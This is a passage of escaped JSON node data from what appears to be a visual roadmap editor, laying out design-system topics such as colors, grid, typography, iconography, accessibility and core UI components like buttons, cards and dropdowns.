\"1RJrMVJf_3clM7E5OML-f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1331.611734127987\n      }\n    },\n    {\n      \"id\": \"sKui9mF1oCOZq5DJkAqyP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 43.33384908709438,\n        \"y\": 1129.3745370913068\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Colors\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"03t80lsT2te9B0rYpIB9v\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 66,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 43.33384908709438,\n        \"y\": 1129.3745370913068\n      }\n    },\n    {\n      \"id\": \"faA8T0Am-XVRCuS6veAIN\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 178.58262271332373,\n        \"y\": 1120.3745370913068\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"hdHZ8LjWJm_kVkwAanQtC\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 276\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 178.58262271332373,\n        \"y\": 1120.3745370913068\n      }\n    },\n    {\n      \"id\": \"wQbMhC7q3qdKYf_pX5qL4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 193.58262271332373,\n        \"y\": 1173.796264330049\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Units\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fW0cEy2SB0HDbiF7QA7Ev\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 193.58262271332373,\n        \"y\": 1173.796264330049\n      }\n    },\n    {\n      \"id\": \"8f2V-rM7soorTTvNo5Vcx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 193.58262271332373,\n        \"y\": 1226.796264330049\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Grid\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"__Pv19gRr2SFknVnfm0Mr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 193.58262271332373,\n        \"y\": 1226.796264330049\n      }\n    },\n    {\n      \"id\": \"djwnJq9Y_Hx1Ynw01wr_u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 193.08262271332373,\n        \"y\": 1279.796264330049\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Breakpoints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kxUnqpydDwB73IwrCPZM0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 193.08262271332373,\n        \"y\": 1279.796264330049\n      }\n    },\n    {\n      \"id\": \"dXaYOwTAnYSlipNEBSV9l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 193.58262271332373,\n        \"y\": 1332.796264330049\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spacking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XDfxs5cgjSuTEprZi2Z5b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 193.58262271332373,\n        \"y\": 1332.796264330049\n      }\n    },\n    {\n      \"id\": \"z5RKq0GcdXMMTO4CZD4LP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 223.08262271332376,\n        \"y\": 1130.559067293369\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Layout\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"sKui9mF1oCOZq5DJkAqyP\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 66,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 223.08262271332376,\n        \"y\": 1130.559067293369\n      }\n    },\n    {\n      \"id\": \"_pRY0ZewNcKBrm4xnAvbQ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -30.417377286676256,\n        \"y\": 1394.0372246841675\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"hdHZ8LjWJm_kVkwAanQtC\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 375,\n        \"height\": 168\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676256,\n        \"y\": 1394.0372246841675\n      }\n    },\n    {\n      \"id\": \"8YVCtgYRHR3VcpUJXMVwP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -19.584433401377353,\n        \"y\": 1446.2744217208476\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Responsiveness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fW0cEy2SB0HDbiF7QA7Ev\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -19.584433401377353,\n        \"y\": 1446.2744217208476\n      }\n    },\n    {\n      \"id\": \"Zl7MVllzJgObruYtlibKf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.8338490870944,\n        \"y\": 1446.2744217208476\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Grid Relation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"__Pv19gRr2SFknVnfm0Mr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 151.8338490870944,\n        \"y\": 1446.2744217208476\n      }\n    },\n    {\n      \"id\": \"L2NHddsv5RGR_BW0I3f4T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1499.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Readability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HDf2L4F1f8uUGpVaf7Y7z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1499.4393516042962\n      }\n    },\n    {\n      \"id\": \"wFL9axjaPcVvI8XWduxgz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 98.83001753849618,\n        \"y\": 1499.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Jab5LO0mGhTy1cU61Catu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 98.83001753849618,\n        \"y\": 1499.4393516042962\n      }\n    },\n    {\n      \"id\": \"lKmaeG9BWlaKFVrVEFuYQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 104.91556659862266,\n        \"y\": 1403.0372246841675\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Typography\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"ObM6oFLLQxiF6acWJA-tb\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 104,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 104.91556659862266,\n        \"y\": 1403.0372246841675\n      }\n    },\n    {\n      \"id\": \"Jab5LO0mGhTy1cU61Catu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.72541004133052,\n        \"y\": 1498.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XDfxs5cgjSuTEprZi2Z5b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 223.72541004133052,\n        \"y\": 1498.400748222349\n      }\n    },\n    {\n      \"id\": \"ObM6oFLLQxiF6acWJA-tb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 104.91556659862266,\n        \"y\": 1572.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Iconography\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"sKui9mF1oCOZq5DJkAqyP\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 111,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 104.91556659862266,\n        \"y\": 1572.4393516042962\n      }\n    },\n    {\n      \"id\": \"DhrnZwQODG0P7D-27_3ec\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1615.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjiJJg4KNr8lyktFQd868\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1615.2548214022338\n      }\n    },\n    {\n      \"id\": \"SPK1i0XuHpNEWyi1iIxrV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 101.83384908709439,\n        \"y\": 1615.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Style\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HDf2L4F1f8uUGpVaf7Y7z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 101.83384908709439,\n        \"y\": 1615.2548214022338\n      }\n    },\n    {\n      \"id\": \"wiclAEEYioRgLmXFcKQ4E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 185.83384908709436,\n        \"y\": 1615.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Naming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HDf2L4F1f8uUGpVaf7Y7z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 185.83384908709436,\n        \"y\": 1615.2548214022338\n      }\n    },\n    {\n      \"id\": \"6Hmj_TeQ563jshqAAl__I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1667.6520087116996\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Grid Relation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eTxhpC3AQIMcUax6WFU9U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1667.6520087116996\n      }\n    },\n    {\n      \"id\": \"w3LS85eFerscaxb2Xp-dP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.8338490870944,\n        \"y\": 1667.6520087116996\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sizes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HDf2L4F1f8uUGpVaf7Y7z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 131.8338490870944,\n        \"y\": 1667.6520087116996\n      }\n    },\n    {\n      \"id\": \"HDf2L4F1f8uUGpVaf7Y7z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 235.83384908709434,\n        \"y\": 1667.6520087116996\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Keywords\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kxUnqpydDwB73IwrCPZM0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 235.83384908709434,\n        \"y\": 1667.6520087116996\n      }\n    },\n    {\n      \"id\": \"Y0KxHVrcNGHDao-38Oz3w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1721.6520087116996\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reserved Icons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eTxhpC3AQIMcUax6WFU9U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -19.16615091290562,\n        \"y\": 1721.6520087116996\n      }\n    },\n    {\n      \"id\": \"eTxhpC3AQIMcUax6WFU9U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 165.33384908709436,\n        \"y\": 1721.6520087116996\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HDf2L4F1f8uUGpVaf7Y7z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 165.33384908709436,\n        \"y\": 1721.6520087116996\n      }\n    },\n    {\n      \"id\": \"BtRuLBspKTqF4nTSr127r\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -60.669982461503835,\n        \"y\": 1120.3745370913068\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"XzNwNomMj4gRw-CL3as4u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 659\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -60.669982461503835,\n        \"y\": 1120.3745370913068\n      }\n    },\n    {\n      \"id\": \"Hw_LQInG6OtSwDXch3Lvg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -379.3175069304428,\n        \"y\": 1844.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating Core Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -379.3175069304428,\n        \"y\": 1844.2548214022338\n      }\n    },\n    {\n      \"id\": \"h3TZY1yBkzLYUK6W7K7xs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1840.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Avatar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1840.2548214022338\n      }\n    },\n    {\n      \"id\": \"hjiJJg4KNr8lyktFQd868\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1840.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Input Text\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HDf2L4F1f8uUGpVaf7Y7z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 155.58384908709436,\n        \"y\": 1840.2548214022338\n      }\n    },\n    {\n      \"id\": \"kkqRIgdXWaJbX9CjLpwha\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1893.2548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Banner\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1893.2548214022338\n      }\n    },\n    {\n      \"id\": \"LNsXQI8sE_5kzSD_iMLJA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1946.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Badge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1946.2548214022336\n      }\n    },\n    {\n      \"id\": \"LWihkf4q5UawjLd84KQxN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1999.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Button\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1999.2548214022336\n      }\n    },\n    {\n      \"id\": \"rZ7d1C9swiqlRTbdJLZ0R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2052.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Card\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2oCAzsk_y2Y2oHUi467dp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2052.2548214022336\n      }\n    },\n    {\n      \"id\": \"yWEXfjzuzk99dxjZlG4Cq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2105.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Carousel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2105.2548214022336\n      }\n    },\n    {\n      \"id\": \"MtBSvKoyjdLd6DIdolLRi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 2158.2548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dropdown\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NISeaJUlDtQ0kSuyxmrOT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      